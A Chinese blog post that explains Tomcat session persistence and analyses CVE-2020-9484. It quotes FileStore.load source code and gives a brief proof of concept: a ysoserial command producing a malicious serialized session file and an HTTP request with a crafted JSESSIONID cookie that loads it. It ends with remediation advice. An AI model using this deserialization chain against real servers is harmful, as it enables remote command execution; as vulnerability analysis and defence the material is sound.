tomcat session持久化
簡介
對 於一個企業級應用而言,Session對象的管理十分重要。Sessio對象的信息一般情況下置於服務器的內存中,當服務器由於故障重啟,或應用重新加載 時候,此時的Session信息將全部丟失。為了避免這樣的情況,在某些場合可以將服務器的Session數據存放在文件系統或數據庫中,這樣的操作稱為 Session對象的持久化。Session對象在持久化時,存放在其中的對象以序列化的形式存放,這就是為什么一般存放在Session中的數據需要實 現可序列化接口(java.io.Serializable)的原因了。
當一個Session開始時,Servlet容器會為Session創建一個HttpSession對象。Servlet容器在某些情況下把這些 HttpSession對象從內存中轉移到文件系統或數據庫中,在需要訪問 HttpSession信息時再把它們加載到內存中。
實現
要完成session持久化,存放在session里的對象必須要實現java.io.Serializable
接口。Session的持久化是由Session Manager
來管理的。Tomcat提供了兩個實現類:
org.apache.catalina.session.StandardManager
(默認)org.apache.catalina.session.PersistentManager
配置
存儲在本地文件中需要配置conf目錄里的context.xml
文件在<Context>
節點下添加如下<Manager>
節點:
<Manager className="org.apache.catalina.session.PersistentManager"
debug="0"
saveOnRestart="false"
maxActiveSession="-1"
minIdleSwap="-1"
maxIdleSwap="-1"
maxIdleBackup="-1">
<Store className="org.apache.catalina.session.FileStore" directory="../session" />
</Manager>
CVE-2020-9484
漏洞簡介
當使用tomcat時,如果使用了tomcat提供的session持久化功能,如果存在文件上傳功能,惡意請求者通過一個流程,將能發起一個惡意請求造成服務端遠程命令執行。
影響版本
<= 9.0.34
<= 8.5.54
<= 7.0.103
漏洞分析
根據上面配置的className="org.apache.catalina.session.FileStore"
,我們去尋找tomcat源碼。這里我使用tomcat7.0.100
的代碼。
查看FileStore的load方法,代碼如下
public Session load(String id) throws ClassNotFoundException, IOException {
// Open an input stream to the specified pathname, if any
File file = file(id);
Context context = (Context) getManager().getContainer();
FileInputStream fis = null;
ObjectInputStream ois = null;
Loader loader = null;
ClassLoader classLoader = null;
ClassLoader oldThreadContextCL = Thread.currentThread().getContextClassLoader();
try {
fis = new FileInputStream(file.getAbsolutePath());
loader = context.getLoader();
ois = getObjectInputStream(fis);
StandardSession session = (StandardSession) manager.createEmptySession();
session.readObjectData(ois);
session.setManager(manager);
return session;
這里我們可以很明顯的看出,load方法中,根據打開名為id的文件,將文件中的內容作為反序列化的輸入。並且tomcat未過濾諸如../
等危險目錄。如果配合任意文件上傳,傳入一個gadget,並調用JSESSION讓tomcat加載該上傳文件,即可完成反序列化攻擊。
當然,在新版tomcat中,通過驗證JSESSION的路徑,解決該反序列化漏洞
poc
1. 使用ysoserial生成一個反序列化文件
java -jar ysoserial.jar CommonsCollections2 "calc" > /tmp/22222.session
2. 通過JSESSION加載惡意的session持久化文件
GET /bug/api HTTP/1.1
Host: 127.0.0.1:8080
Cookie: JSESSIONID=evilFIle
修復方案
- 檢查是否使用tomcat的session持久化功能,如果有,建議關閉
- 檢查項目中文件上傳功能是否存在任意上傳,這里任意上傳指的是可以上傳非jsp文件且可以控制上傳文件名后綴為session
- 升級tomcat至最新版本